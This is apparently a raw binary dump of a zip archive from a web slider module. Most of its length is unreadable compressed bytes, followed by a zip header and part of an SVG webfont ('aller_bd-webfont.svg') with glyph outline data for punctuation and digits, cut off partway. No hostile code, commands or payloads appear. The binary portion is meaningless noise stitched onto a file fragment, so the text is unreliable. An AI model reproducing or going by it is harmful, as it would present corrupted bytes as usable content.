�_^\!�\�X��Q �\8�d`$�Н`sY|_d���(Nk��9N�-H�ꡂ����B�ʕ��}�`�J�q���ai+<�ԧ��3`"�����z/$�qX4y�4���u�����z��x$�|n&Q�>7nb7,�9��_���q��
y�R��)�+���xAG�M��)6��	^��{��͘I�C�.��$���� xQ��O�f�]؈4ҁNzy4��\�ώ�	>�kK*�'Pf� �գ��N��1��	�O�Fi�:���A��R���y#���?�Z���P��rY�^�U�:ƺ^}2�6�'�#���,U70Q��}6t'4E45��T�p��v%�01����w�1K��^�4������&_�ݟ��=!�����7!�ga���iU�IK��fيJc�@�I/T�&�L��>���Q�
���H�?�6F4@J4��(�#	�2@�b�����/�8�j��P�T��D�۶����ɚ�X~U��a{"�?XjЂt�?�T74�����a`5�z�����>�,5� b�̀���'��1�#	���ъ��,1K��ѨߨW��V�}4�:r�	d?w�\�� �^��joVX��kĬG�@V�f��$\� <e'�'�G6����x���3b-e�lB���Q>ύ�Ctn�����!�BY��MrG���T�=%��kqcǦU�r=%"0��iL��o*���J��vY(\,��#)��V����Z�&Y{2��oY�0$�_��J��2K&ᐚ���E?�I�mnlLa���	r([�2&�{K2�I��:zU�Z�e����m1�_"�0[�A�4��=��[�;��	\�u3d�E���X�an��r.6φ���}I��,a�o�}�r8vjڍ�_L�2��y��)J�`���m���
�g��%�}L҈�L���[W��c��R�Ig�U�%���a��?�`�c	�8�5 �E%�f���YD(?�lꈋz�v���k01��<3Q��l0g�W�ǥ����Y�������$V�
1�M) �)&D��LJ\ۂLj����rJi���PDT=,)Y���?+jh�6�X�������w:PG�,#@Xズ�KYEc˿�`?�g�&�P\��l�!�
�wI4��UHˢ��k
�p�?�T�O�{P�0DS���p��[Ϋ���+:�,�LE:�N%P�0P	�gp��*��Na���G��I��؎
����F PD:��N2M]��c�D�m�1�x���p��L ��É��" (�x��٢1��ތ[���n�����Uoҿr����K~~/!��P�m�r��OM��	*��P_�E@$�)_C�h��=w�I� �o�C�P�b|���0�*]Jb��RG
"5�Z�V��R4�t�_d�	�I��N<AU�p�Ƅ@��w�
W)>H��_��lzԢ(�'�6���˅�ۡN��vL�S/���4X�R�wb��/���$,z`	Y�
i�C��?�L+&�Q7���P�P�TG�$� �Ki�
�M�@�(8RX4�8�n�ut�E���ө
����G~H���쾄�����f!V�곋�C\O��͆�]��e��R�;� <�$�e0�-� �/��x�y� 1��]�&�Z}�	op9��˭����𢣂�ܹA�T5�Fb��+Im���4 c&�D)&A�e{fH�����=J�����+�5���˼�u<V�v��97�"���3� �]���:l�a\a46Є�5Z��t	��$�Y���4_	�����c5���o��(w;M|ka�^X̍=/�͓*���	.ё�&�=��:��4X
��D�O�>��d``
"�oFD��2�Q��z��$rVKv���M��Nɯ�-z���	p
4�Qc'�=�gZ�I���!h�H/����;�l?U����x����� ���M6�'7%J4,�����wfP�t/�HF#�;���b9%X�DH7�����x�L!�⽂����+�1v2w�0	$��3�'�ץ��~�a�nJ�G��`��Ar��rt$��,*2j�*hN/΁�+2F�X�Η���˖�8�d����'�~Sh��c큰5x6�Q:y
��;O���C���?��0��h���YJdISD�b��,>�j�Cs"�-�t�4��ő�"�?�@	e|�J��2��M��,̄��}@�2��5���fF��8�Ip���u�,Y/"�&�7J�Ap�ь< �O��Aw�L��;�,�ݕV3�Kw��6$��aZ(�O��6c}S@,�[Xmc�R���u{��<�6r�p�k^0��2���r�q�o��ӑu�����-m�?����[<��%I��	5LR�VO@c���+�bMO)���Q��_�i�j[�>��wO��j��TD3�T@; cm��}�/���x�ŝ����ڸ��B�B7D�v̓�md�����HE�r�Ƨ��e�3j�����!��k��x��7c����'p�Do
4�[����|;r=�~�ٷ�l)T%F��H0y�У�A��w8O��bD��ё�*j�����k@�J۴X��>��99
�hD֬�O5ߍ�z*��W��Y�}�Yg��5�{e�����:I1e�<���=d�Ko&�T�M*�u@?:����;_q/F[�w�"XD_r�7����8���Ew㡖BǪ��w�ڪLڜ �5�(��
"��9᪹A䒠#LIS���1�=I��ĔF�f��&x
�_�^9[
)���y*���|?��"��u���u��_ w+�f��Y�07�V*T�L�a�U���
�����M4V�0JL�
��@.���o�!��O�	�ײ�I���Ȗy�H$e��@�?\]����9Ԛ����䪡�����$��|�D�3Dz� "¤@5�[,F�G�Α��9d�T�X@����d�0�_����#��
�$l7�>�򘏀ò�s'v�H%��9�F>�$ڜ�2�4H���N]
��4��K�䵆zM������;#��Q��C�QiL�ѣAj�e[hxXϥ�l�t�t�]�@Z��2�y����)-2ԗ�M��
�����'�KV�,�� �#��O}E�FvvV�n�Nk��#�2�=��͒�+�F���~F��
d��9b��(�4I���o�(���EV�1J+�0+��}B�झ�,%Fù�́ۑ�'
��9��`���#C?�?�ɴ
-��0��%l1l^�>F�2M�mK�\8?^�?4d�D��Tܛ�L
���=AИ�C�J���3ÚM7ݗ\$��_O�,0'�@D�cJjyŀD,V�J2��� ��N�W��g}8����L���:޼ގ��.�F�&�D�Dm�յ�9t�l-�	p/M����$NJ�-�.K�`�DRbl;���H���B`!R.@����@+-4*eÑ�|5A�'���
vH�B�n��r6
�M�7�B3`@h0ɩ#Y�;^-�a6�!�AQ��e��g���:�rٕt2?�H#
�S�߶���k��?�~C�C��wbF����{�F�U�.����c�مQ��C�\��b���@D4Bߣ�8d6��;��0��!\��H���T�a��ɳ1�Gs�P�9B���2+��07���<��(�Q
�UsNwO��&;8���^yi�5��
�'��E	�.��etj`ib����l�D��������NEm���j�1�W��ā�Y���+y$$+cG�yX�O���H��8�%s�y̆�y��,�e��M��
�j���U�d�"�L�8o���,
k�m�M�'�I��TOG0��]�ݧ�{ӈ1�-3��L�y�X��3��C<jχ)�)Ԉ�p��!��E�t�`@	m������
�m+ݏ��[B���`��)�O=�.���m�]5��[	��Raq�9���k���+X�$@��\U�i��	��;�D��\NXG��5�moUc*����X��g�Й��Nt�nn<�դqxu������.�t�X��a��~鼈�3�Λ�$v��n��I�Z#� C�~ϔk���@��b��I�XӀL�3,�3E��|�X�k�_�ҟ�<��	AL)�|���˟0���h�|I�ϑ��Q0� �!؜�&8��墀#<��A�㒩�m��0���ȆjΎ�1V�d�0o�J*�h�r���fԮ��/]v�8�g�f����k)�[�Uf�",s�-�iJ�Aq�v.����[m\DH��	�K�r:��i�,��(��i�A�m��f��ٙ�K]�8�&Τ�OdJ�4��3׌0
k��l�MH�]`�]ìEIn';)=&[��X@5u���4^m��vT)7�V�.�e���رS�A��Ov�X��؋���m�A���P�91f��	�[�qS�qQ�JK������\��p�����l}R��P����!v����d��1�|����vk��rt�!ݤ��u�L+�~�
]�g䍌�"�Ƥ	I!$\��%:W,&d�=/)a.G�zh���1[���O9/J��q�pT�vɎ���K��/:QW��l2�*�w2�.A�U
�6�ګi�\���h�PHp
��<�H��e�-����$� �tu�e0 鈀a�� ���4_� ;n/�"Ԝ�M�s	�H���z(�ȻɅ<�����
$?�8*V\9�Z�-2�KH6Ė=B>�=����P�$=���V�p�w�#m�Z%�d�Khp�2��K�_V�'x�)rG�	ҍ��-Y,��@-]9�b��_B����c�t;�'��G�_��aC���$ct��;
��l���J���<�Vl�b 껜E"� ���f!g\p���qG��e�<>���uM=u�!���B	�+�Ѐ�4��-�52y;�4+�����rm�3j
[(�����>�=��ؼк�;���KSv�%ei�{�eG��0�Ex�@�01���j���o鞰��Hx�y��%�]�wL[$�$�ʚ\�:�\p�C&���C��O60����rS��F�p�
��Ť���ao����!�>T0�#O���t Hi��Q�A���u��rQ��d���,�7)�~Y�`���_�#�B�R6�;'	�*_���#>�;�
�M�D@�/��۹��}�����q)��p9ܛ��SG�\|]\��G�y2I�������Z��mۦO�߅K��v#x"801>�@��F�%T{@���b���s�B��!�(/"�ӄ��ZU�oa�����ܜ!�l���VBR��&(ִ���ܹ���	���(�氿M�2���U�	X�8P�b�Ҝ83���!4����kt i^[p<�f�f+$W������>3/����&h���˂����i�)�K\�!)��4��?�}���|-���a	�F��zw���/��iW_������C��YDAb)��F�K�N��&��΋u�E�8U<�2L݀7�q��`1�8l��_՗�	"'G�DCo�s�43}��=�{�H�BDQ����9r��BV��4���[7l�g��rW+IY7���XS�f��qk��r��T��;�Md�&����j���q�9bQk?N�?Ě��{.f�@p�z:�����-�RF��E�i9�*��i�À"l*���L�8%Ȭ��W�N�4t��g��.�0�a����I,����?;��L�o~{�<38�+s_h����)�x�QQ�$!˕����&`����<��J
j5��1��$��c$�,!�W���Q��T
�{�y����t�c��aT)O�T+qX��A	y(ܜ!
4��V�$	^�֒)I���Z��I������6k`�Y�x��b�̅1i��F �h�;�P�Fm�/�tq?=1����A�����)�vP�l<>
�B�!�"B�͠?��B���c���0!���c�Qa^��֛FNTd���"��u�I����0����d��`:;���H�(�Qms�قW\�. �Z�PѼb���l:l�ͬ�px�z�M���L�˷x��oƖ�⚧���F�#3L`�	Vd{��G�_025��O�~���2�w.ݫ�N�����:�y#�3��+fs���;D $A U�H�u�tH�4�
T�	�WzU�b"!|��\m�ǩ[��g�M8F���8�����p�@I��b�|f(\�޹/NHvy��ƼAr����CZ��3�N�=��<�B)Ie��HϾ�Dqs\
i�r�{�H�i=2$T�0c1腈�gv��Lۈ/�P�]��=��?t�3���}�f��a� #'�`���8��D@��*'���h���Vc�����3&�LA��OdJ0.��f�Q���.)B0�|n;KSh]��tŲ��aC�&B�
K!�θT�q�4��G�Iε�r�F����i#�@���Ҡw����䗩�@F�L�1v��F�O�C�_�y��Q�=|PH5KJ|o:�O����Z���@K�r	�$h�����>8y\�[Pʖp
�l�D���#
KƉ��5Q��u�O��n���Xa��$t�\��(j�=
� ��z࿒���<��E�~�\^\��z�@�
uT
���nD"�b7MG�t H�4���6H�ZKШ�F�G9�܂8�Q�����`�D`�Ԓ%� I7�l|��Ƕ�����0p�2�`"�|�T�". �?��.k!�
�(Veq��00��>��a`��`S��Y�9\ש�↮Ji���݃�L�k:�j0B�v9֓��I��j*��)89y�FT�P��0�8�n�z�gcd�nW�)%�.�:��Br��i.�3�e͞q
r�\�:a�Ů��d��A�ɦ;�$�̈́E$�RB�?=��g���O7�!���qc�)�P�zG���Y��EF5��F�
[	�ep4��U��M.�y�	"E�C@/�������b�Mg�V6�܉��ڶvu��@��٪x
0�-�!Ի�2i�No�o�[�N�s<jH���Q����"懁�>y�;�l8OHz�繞���*:c�b ��̭t�>3��|��i�:�O�
"�E��z�2��M���@2`M �d�������'lg�{��� �!����S�W?��oL	O�d�I�O�F�ߧZ��h���s	�~Z��/8��ݚNӊ$�@A�^$�3�I
�Y+� w��hn�"5�J?R�0BR�b�I�����E��)@`K
���h__�m��m���L��+^�wd���8ݝ0�Xʪ'�Z�]� (0�K?#��~���]��I�XZ�%�
�+�9.��+�)&<��cǷR��[[A黎�Mq�`v���&��t�K�y�)��"�Y�� x�a����ܧw��\����k�|��e�v��T�}����Y�#���oT!M�`�qV��L�8�֊�w��n�ʑ��Ї�
'e�d�"�-��������h�+�I�p�bw�C���Sgl/�V�T��a�إ���bW-�bV
x�x5�P8J1[��lCF��Ɔ�Cm��'(�˳e�3'����KcИ����f8�.� T3�$.�
:���)U0!������S���3
�)<A�iO��w,s� _��*�B�#,��3Ʒϕ�
��^/��*��2*�Fv]�a�0�<��C;#��{�8��(|̓���̏Q-K���q�4��t�U�,��>�ԉ����z+	d�J�LX3�4A�	�����vg
���:<k��8�1Z,_���,-ʉ�^�@�`.K�I��#	��vcu�6
)m&���Gӝ��s3O[����Ԗ��9�밖ONq1		�D��>nT\��AT7]p�4�b�m�����6s-d�V��`.�md��zv��f�-�:�k�.�����Jt[\D���]�$
-�=U�rp�J挼�6�`O��tr2����.)QM��D�hR-�D���q:�����ҹ�gɭ*��<�;�	�JC�	�����|�6"!z^�܈�%�b!��b-�y�C��g�I��LGS�OD ��p;�_���;ݐ?Š���,X�àI|�]p��T�RP&��٪�N�LK���m-�Ӂ���>�P��4uI�)ۻxP3o��!�8����O::�&|����9*+o��md�,FC&p���	�n#�
P����9|H~P8ɻ�� $^EG�xE��#ju��nA���t9��_��_�k�G�g���u�c�]�Ş�[�t�$/�kF!՚Y�$VP�-�� �I"l>5)���� o�M����e�5���
t0pR�(]%�T�#�c9=	��B��N�h�DVr���-�L�]A�s�7��%=�A�Ѻ���Ē��P,֭Dh�LZ|y��_^N�\�<S^<�)fPZ�:�I6@'&ǟ�ތ����U$�^ڶ�N{q�74q�a�SO��m-X���P%�}�^���~�(N}h��a(���M�V�c�~j��(,6�]������_:�#�I� �	���'9CUO��5?|�I�K%���;�Qxu7��f�jm���
5d��i^���o'�5�/��<<��Hǚ;\
�x*��X�Z�3t!Pd���)��w ��Ƶd��<Ӆ�0_��r���y���5)ɦQ�
O�~$Yو�����D9���e�<�&�Y��xoc�@�Q0�������@�)vS��KB��#�3���<���͇�<x)d��D�e�3�%p܃��=��X2�$��Gu!W�Ԏ�d��Ϧ0�QuwK�ɛ�������!��*P<�, ��#q��l̂PK!�WfR<R<Dmod_ap_smart_layerslider/admin/fonts/aller-bold/aller_bd-webfont.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata></metadata>
<defs>
<font id="allerbold" horiz-adv-x="1228" >
<font-face units-per-em="2048" ascent="1638" descent="-410" />
<missing-glyph horiz-adv-x="450" />
<glyph unicode="&#xfb01;" horiz-adv-x="1294" d="M35 952q0 27 2 51.5t8 55.5h168v51q0 98 36 175t98.5 129t150.5 80t192 28q102 0 188.5 -12.5t168.5 -47.5q-4 -68 -21.5 -125t-46.5 -104q-72 29 -131.5 39t-126.5 10q-39 0 -78 -7t-69.5 -26.5t-50 -54.5t-21.5 -90v-45h649v-1059q-74 -12 -143 -12q-68 0 -142 12v838 h-364v-838q-74 -12 -144 -12q-72 0 -145 12v838h-168q-6 33 -8 59.5t-2 54.5z" />
<glyph unicode="&#xfb02;" horiz-adv-x="1388" d="M35 952q0 27 2 51.5t8 55.5h168v51q0 199 141.5 305.5t397.5 106.5q55 0 102 -2t92 -6.5t94.5 -11.5t108.5 -15v-1065q0 -63 7 -102t22.5 -60.5t40 -30t61.5 -8.5q16 0 35.5 2t38.5 6q23 -78 22 -157v-32.5t-4 -33.5q-33 -10 -79 -14t-85 -4q-158 0 -252 87t-94 283v914 q-35 10 -69.5 11t-57.5 1q-45 0 -87 -7t-73.5 -27.5t-51 -55.5t-21.5 -90v-45h225q6 -33 8 -59.5t2 -55.5q0 -27 -2 -51.5t-8 -54.5h-225v-838q-74 -12 -144 -12q-72 0 -145 12v838h-168q-6 33 -8 59.5t-2 54.5z" />
<glyph unicode="&#xfb03;" horiz-adv-x="1951" d="M35 952q0 27 2 51.5t8 55.5h168v39q0 199 110.5 305t290.5 106q68 0 119 -6t101 -20q-10 -74 -31 -126t-45 -104q-20 6 -43 11.5t-60 5.5q-33 0 -60.5 -7.5t-48 -26.5t-31.5 -54t-13 -90v-33h381v51q0 98 35.5 175t98 129t150.5 80t193 28q102 0 188 -12.5t168 -47.5 q-4 -68 -21.5 -125t-45.5 -104q-72 29 -131.5 39t-126.5 10q-39 0 -78 -7t-70 -26.5t-50 -54.5t-22 -90v-45h650v-1059q-74 -12 -144 -12q-68 0 -141 12v838h-365v-838q-74 -12 -143 -12q-72 0 -145 12v838h-381v-838q-74 -12 -144 -12q-72 0 -145 12v838h-168 q-6 33 -8 59.5t-2 54.5z" />
<glyph unicode="&#xfb04;" horiz-adv-x="2058" d="M35 952q0 27 2 51.5t8 55.5h168v39q0 199 110.5 305t290.5 106q68 0 119 -6t101 -20q-10 -74 -31 -126t-45 -104q-20 6 -43 11.5t-60 5.5q-33 0 -60.5 -7.5t-48 -26.5t-31.5 -54t-13 -90v-33h381v51q0 199 141 305.5t397 106.5q55 0 102.5 -2t92.5 -6.5t94 -11.5t109 -15 v-1065q0 -63 7 -102t22.5 -60.5t40 -30t61.5 -8.5q16 0 35.5 2t37.5 6q23 -84 23 -163v-33t-4 -27q-33 -10 -79 -14t-85 -4q-158 0 -252 87t-94 283v914q-35 10 -70 11t-57 1q-45 0 -87 -7t-74 -27.5t-51 -55.5t-22 -90v-45h226q6 -33 8 -59.5t2 -55.5q0 -27 -2 -51.5 t-8 -54.5h-226v-838q-74 -12 -143 -12q-72 0 -145 12v838h-381v-838q-74 -12 -144 -12q-72 0 -145 12v838h-168q-6 33 -8 59.5t-2 54.5z" />
<glyph horiz-adv-x="0" />
<glyph unicode="&#xd;" horiz-adv-x="1024" />
<glyph unicode=" "  horiz-adv-x="450" />
<glyph unicode="&#x09;" horiz-adv-x="450" />
<glyph unicode="&#xa0;" horiz-adv-x="450" />
<glyph unicode="!" horiz-adv-x="612" d="M143 150q0 74 13 151q76 12 149 12q74 0 152 -12q12 -78 12 -149q0 -76 -12 -152q-78 -12 -150 -12q-75 0 -151 12q-12 76 -13 150zM147 1473q80 12 158 12q80 0 160 -12l-21 -1002q-72 -12 -137 -12q-70 0 -139 12z" />
<glyph unicode="&#x22;" horiz-adv-x="878" d="M102 899v576q35 6 66 8t65 2q35 0 67 -2t67 -8v-576q-35 -6 -66 -8t-65 -2q-35 0 -67 2t-67 8zM512 899v576q35 6 66 8t65 2q35 0 67 -2t67 -8v-576q-35 -6 -66 -8t-65 -2q-35 0 -67 2t-67 8z" />
<glyph unicode="#" horiz-adv-x="1503" d="M109 526q0 29 3 55.5t7 55.5h248l20 248h-229q-4 29 -7.5 55.5t-3.5 54.5q0 29 3.5 54.5t7.5 54.5h248l26 309q33 6 62.5 8t64.5 2q31 0 60.5 -2t60.5 -8l-27 -309h250l27 309q35 6 63.5 8t63.5 2q31 0 60.5 -2t62.5 -8l-27 -309h215q4 -29 7 -52.5t3 -52.5t-3 -57.5 t-7 -56.5h-231l-21 -248h213q4 -29 7 -53.5t3 -53.5t-3 -55t-7 -55h-231l-29 -359q-35 -6 -64.5 -8t-62.5 -2t-61.5 2t-61.5 8l29 359h-248l-29 -359q-35 -6 -64.5 -8t-64.5 -2q-31 0 -59.5 2t-63.5 8l29 359h-231q-8 47 -8 106zM616 637h250l21 248h-250z" />
<glyph unicode="$" d="M104 51q6 59 22.5 119.5t39.5 126.5q86 -35 161.5 -48t161.5 -13q129 0 200 44t71 142q0 49 -19.5 81t-49 52t-66.5 34.5t-72 31.5l-109 47q-68 29 -123 60.5t-95 75.5t-61.5 103.5t-21.5 145.5q0 184 104.5 290.5t289.5 129.5v217q43 12 88 12q43 0 90 -12v-211 q82 -6 157.5 -23.5t159.5 -46.5q-12 -119 -65 -233q-31 12 -63 24t-67.5 20.5t-80.5 13.5t-103 5q-35 0 -70.5 -5t-64.5 -21.5t-47 -46t-18 -76.5q0 -41 14 -70t38.5 -48.5t55.5 -33.5t62 -27l122 -51q78 -33 141.5 -65.5t107.5 -78.5t68.5 -112.5t24.5 -167.5 q0 -168 -95 -283.5t-277 -156.5v-238q-43 -12 -88 -12t-90 12v217h-17q-68 0 -121 4.5t-101 13.5t-95 23.5t-99 34.5z" />
<glyph unicode="%" horiz-adv-x="2150" d="M103 1036q0 84 23.5 163t71.5 139.5t123 97.5t177 37q100 0 175 -37t124 -97.5t72.5 -139.5t23.5 -163t-23.5 -161.5t-72.5 -138t-124 -97.5t-175 -37q-102 0 -177 37t-123 97.5t-71.5 138t-23.5 161.5zM355 1036q0 -109 34.5 -174t108.5 -65t108.5 65.5t34.5 173.5 q0 111 -34.5 175.5t-108.5 64.5t-108.5 -64.5t-34.5 -175.5zM448 4l990 1448q70 12 143 12q63 0 141 -12l-991 -1448q-72 -12 -137 -12q-70 0 -146 12zM1276 409q0 84 23.5 163t71.5 139.5t123 97.5t177 37q100 0 175 -37t124 -97.5t72.5 -139.5t23.5 -163t-23.5 -161.5 t-72.5 -138t-124 -97.5t-175 -37q-102 0 -177 37t-123 97.5t-71.5 138t-23.5 161.5zM1528 409q0 -109 34.5 -174t108.5 -65t108.5 65.5t34.5 173.5q0 111 -34.5 175.5t-108.5 64.5t-108.5 -64.5t-34.5 -175.5z" />
<glyph unicode="&#x26;" horiz-adv-x="1562" d="M100 418q0 74 21.5 139.5t56.5 118.5t79 91t89 56q-76 41 -131 116t-55 187q0 92 35.5 162t98 116t145.5 69.5t179 23.5q59 0 134 -9t155 -38q0 -117 -63 -215q-68 25 -121 30t-90 5q-98 0 -141 -46t-43 -110q0 -35 10 -64.5t34.5 -51t64.5 -33t99 -11.5h349l241 289h45 v-289h209q6 -31 8 -55.5t2 -50.5q0 -29 -2 -55.5t-8 -59.5h-209v-250q0 -127 -44 -221t-127 -158.5t-199.5 -96.5t-262.5 -32q-106 0 -206.5 24t-179 77t-126 137t-47.5 205zM422 479q0 -115 62.5 -184.5t207.5 -69.5q98 0 158.5 29t95.5 76t48.5 106.5t15.5 122.5v174h-344 q-111 0 -177.5 -70.5t-66.5 -183.5z" />
<glyph unicode="'" horiz-adv-x="468" d="M102 899v576q35 6 66 8t65 2q35 0 67 -2t67 -8v-576q-35 -6 -66 -8t-65 -2q-35 0 -67 2t-67 8z" />
<glyph unicode="(" horiz-adv-x="731" d="M102 625q0 172 19.5 316t52.5 263t76 214t90 171q18 6 56 9.5t81 3.5q41 0 82 -3.5t70 -9.5q-25 -41 -64 -122t-75.5 -201.5t-64.5 -280.5t-28 -360q0 -201 28 -362t64.5 -281.5t75.5 -201.5t64 -122q-29 -6 -70 -9t-82 -3q-43 0 -81 3t-56 9q-47 76 -90 172t-76 215 t-52.5 263.5t-19.5 316.5z" />
<glyph unicode=")" horiz-adv-x="731" d="M102 -342q25 41 64 122t76 201.5t64.5 281.5t27.5 362t-27.5 360.5t-64.5 280t-76 201.5t-64 122q29 6 70 9.5t82 3.5q43 0 81 -3.5t56 -9.5q47 -76 90 -171t76 -214t52.5 -263t19.5 -316t-19.5 -316.5t-52.5 -263.5t-76 -215t-90 -172q-18 -6 -56 -9t-81 -3q-41 0 -82 3 t-70 9z" />
<glyph unicode="*" horiz-adv-x="991" d="M74 1090q4 39 18 76.5t31 70.5l274 -63q-18 -109 -63 -193zM193 709l147 239q84 -43 164 -119l-185 -213q-35 16 -66.5 40t-59.5 53zM416 1192l22 281q37 6 74 6q41 0 82 -6l24 -281q-29 -4 -54 -6t-52 -2q-57 0 -96 8zM532 831q80 76 164 119l148 -239 q-29 -29 -60.5 -52.5t-66.5 -40.5zM637 1174l274 65q18 -35 29.5 -74t17.5 -73l-260 -111q-25 49 -40 98t-21 95z" />
<glyph unicode="+" d="M156 723q0 63 12 125h321v362q61 12 123 13q63 0 125 -13v-362h322q12 -61 12 -123q0 -63 -12 -125h-322v-362q-61 -12 -123 -13q-63 0 -125 13v362h-321q-12 61 -12 123z" />
<glyph unicode="," horiz-adv-x="595" d="M70 -229l135 524q35 8 69.5 11t67.5 3t72 -3t73 -11l-149 -524q-35 -8 -70 -10.5t-67 -2.5q-33 0 -65 2t-66 11z" />
<glyph unicode="-" horiz-adv-x="759" d="M106 561q0 66 13 127h522q12 -61 12 -125q0 -66 -12 -127h-522q-12 61 -13 125z" />
<glyph unicode="." horiz-adv-x="591" d="M133 150q0 74 12 151q76 12 150 12t151 -12q12 -78 13 -149q0 -76 -13 -152q-78 -12 -149 -12q-76 0 -152 12q-12 76 -12 150z" />
<glyph unicode="/" horiz-adv-x="837" d="M25 0l497 1473q76 12 148 12q70 0 143 -12l-500 -1473q-74 -12 -145 -12q-70 0 -143 12z" />
<glyph unicode="0" d="M86 664q0 150 33 276.5t98.5 218.5t166.5 144.5t241 52.5q137 0 237.5 -52.5t166 -144.5t96 -219t30.5 -276q0 -150 -32.5 -276t-98.5 -218t-168.5 -143.5t-239.5 -51.5t-237 51.5t-164.5 143.5t-96.5 218t-32 276zM393 664q0 -227 62 -335t166 -108t162.5 107.5 t58.5 335.5q0 227 -58.5 334.5t-162.5 107.5q-106 0 -167 -107.5t-61 -334.5z" />
<glyph unicode="1" d="M172 1081l588 258h55v-1093h293q6 -35 8 -63.5t2 -57.5q0 -33 -2 -61.5t-8 -63.5h-872q-6 35 -8.5 63.5t-2.5 61.5q0 29 2 57.5t9 63.5h296v717l-251 -101q-39 51 -66 105q-27 55 -43 114z" />
<glyph unicode="2" d="M115 31l299 391q70 92 125 161.5t93 128t57.5 108.5t19.5 102q0 86 -60.5 133t-169.5 47q-45 0 -78.5 -4t-64.5 -12.5t-60.5 -19.5t-62.5 -26q-27 57 -46.5 117t-23.5 121q49 18 91 33.5t85 25t89.5 14.5t105.5 5q109 0 201 -23.5t158.5 -73t103.5 -124t37 -174.5 q0 -74 -20.5 -141.5t-57.5 -134.5t-87 -137.5t-112 -152.5l-108 -145h436q12 -61 12 -121q0 -68 -12 -129h-936z" />
<glyph unicode="3" d="M82 -70q4 63 23.5 127t48.5 113q78 -25 146.5 -41t158.5 -16q66 0 124 15t101 47t68.5 81t25.5 119q0 51 -22.5 89t-59.5 62.5t-86 35.5t-102 11q-35 0 -72 -2t-71 -12l-21 31l274 495h-450q-12 61 -12 123q0 66 12 127h856l20 -35l-329 -546h8q80 0 144.5 -31t108.5 -81 t67.5 -115.5t23.5 -133.5q0 -131 -45 -230.5t-125 -166t-188.5 -100t-235.5 -33.5q-61 0 -109.5 3t-92.5 11t-89 21.5t-100 31.5z" />
<glyph unicode="4" d="M33 195l579 1171q70 -8 134.5 -29.5t121.5 -66.5l-422 -856h293v327q35 4 68 7.5t67 3.5q37 0 74 -3.5t74 -7.5v-327h147q12 -59 13 -123q0 -31 -3 -63.5t-10 -61.5h-147v-287q-35 -4 -67.5 -7t-67.5 -3q-37 0 -74 3t-74 7v287h-688z" />
<glyph unicode="5" d="M104 -76q6 63 27 125t45 121q72 -25 135.5 -39t134.5 -14q92 0 154 20.5t100.5 54t55 77.5t16.5 91q0 104 -67.5 162t-219.5 58q-59 0 -115.5 -11.5t-113.5 -40.5l-31 25l31 782h733q12 -61 12 -123q0 -66 -12 -127h-471l-12 -292q37 8 65.5 11t59.5 3q100 0 182 -27.5 t140.5 -82t91 -134.5t32.5 -184q0 -127 -44 -223.5t-125 -162t-196.5 -98t-258.5 -32.5q-27 0 -67 3t-86 10t-97 19.5t-99 28.5z" />
<glyph unicode="6" d="M117 573q0 186 49 349t149.5 285t253 195t359.5 83q10 -33 17 -66t7 -67q0 -51 -18 -109q-115 -4 -203 -41t-150.5 -97.5t-102.5 -138t-54 -163.5q18 27 44 52.5t61.5 47t82.5 34.5t109 13q88 0 168 -29.5t140.5 -88t96 -148.5t35.5 -209q0 -123 -44 -216t-115.5 -156.5 t-166 -95.5t-192.5 -32q-256 0 -391 149.5t-135 448.5zM422 479q0 -129 58.5 -197.5t156.5 -68.5q94 0 157.5 63.5t63.5 192.5q0 135 -60.5 193.5t-152.5 58.5q-102 0 -162.5 -60.5t-60.5 -181.5z" />
<glyph unicode="7" d="M129 1208q0 66 12 127h1008l12 -24l-602 -1463q-74 16 -140.5 43t-129.5 74l469 1120h-617q-12 61 -12 123z" />
<glyph unicode="8" d="M96 389q0 78 21.5 140.5t57.5 110.5t80 82.5t91 57.5q-80 47 -132 129t-52 187q0 86 34.5 155.5t95 118.5t143.5 76t179 27t179.5 -27t143.5 -76t95 -118.5t35 -155.5q0 -104 -53 -185.5t-133 -130.5q45 -23 91 -56.5t80.5 -81.5t57.5 -110.5t23 -142.5 q0 -111 -44.5 -189.5t-117 -129t-165.5 -73t-192 -22.5q-98 0 -191 22.5t-166 73t-117 129.5t-44 189zM391 414q0 -96 58.5 -149.5t164.5 -53.5q111 0 167.5 53t56.5 150q0 98 -64 159.5t-162 94.5q-98 -33 -159.5 -95.5t-61.5 -158.5zM434 1085q0 -86 50 -136t130 -79 q82 29 132.5 79t50.5 136q0 72 -46 116t-137 44q-90 0 -135 -44t-45 -116z" />
<glyph unicode="9" d="M94 856q0 123 44 216t116 156.5t166 95.5t192 32q256 0 391.5 -149.5t135.5 -448.5q0 -186 -49.5 -349t-149.5 -285t-252.5 -196t-359.5 -82q-10 33 -17.5 66t-7.5 68q0 49 19 108q113 4 201.5 41t151 97.5t101.5 138t55 163.5q-18 -27 -43.5 -52t-61.5 -46.5t-83 -35 t-108 -13.5q-88 0 -168 29.5t-140.5 88t-96.5 147.5t-36 210zM397 862q0 -135 60.5 -193.5t152.5 -58.5q102 0 163 60.5t61 181.5q0 129 -58.5 197.5t-157.5 68.5q-94 0 -157.5 -63.5t-63.5 -192.5z" />
<glyph unicode=":" horiz-adv-x="591" d="M133 150q0 74 12 151q76 12 150 12t151 -12q12 -78 13 -149q0 -76 -13 -152q-78 -12 -149 -12q-76 0 -152 12q-12 76 -12 150zM133 908q0 74 12 151q76 12 150 12t151 -12q12 -78 13 -149q0 -76 -13 -152q-78 -12 -149 -12q-76 0 -152 12q-12 76 -12 150z" />
<glyph unicode=";" horiz-adv-x="634" d="M58 -229l135 524q35 8 69.5 11t67.5 3t72 -3t73 -11l-149 -524q-35 -8 -70 -10.5t-67 -2.5q-33 0 -65 2t-66 11zM176 908q0 74 12 151q76 12 150 12t151 -12q12 -78 13 -149q0 -76 -13 -152q-78 -12 -149 -12q-76 0 -152 12q-12 76 -12 150z" />
<glyph unicode="&#x3c;" d="M176 702q0 72 19 146l847 334q12 -80 13 -129q0 -35 -2 -70t-9 -65l-618 -224l618 -211q6 -31 8.5 -64.5t2.5 -68.5q0 -29 -2 -65.5t-11 -77.5l-847 336q-18 82 -19 159z" />
<glyph unicode="=" d="M172 502q0 63 12 125h863q12 -61 12 -123q0 -63 -12 -125h-863q-12 61 -12 123zM172 922q0 63 12 125h863q12 -61 12 -123q0 -63 -12 -125h-863q-12 61 -12 123z" />
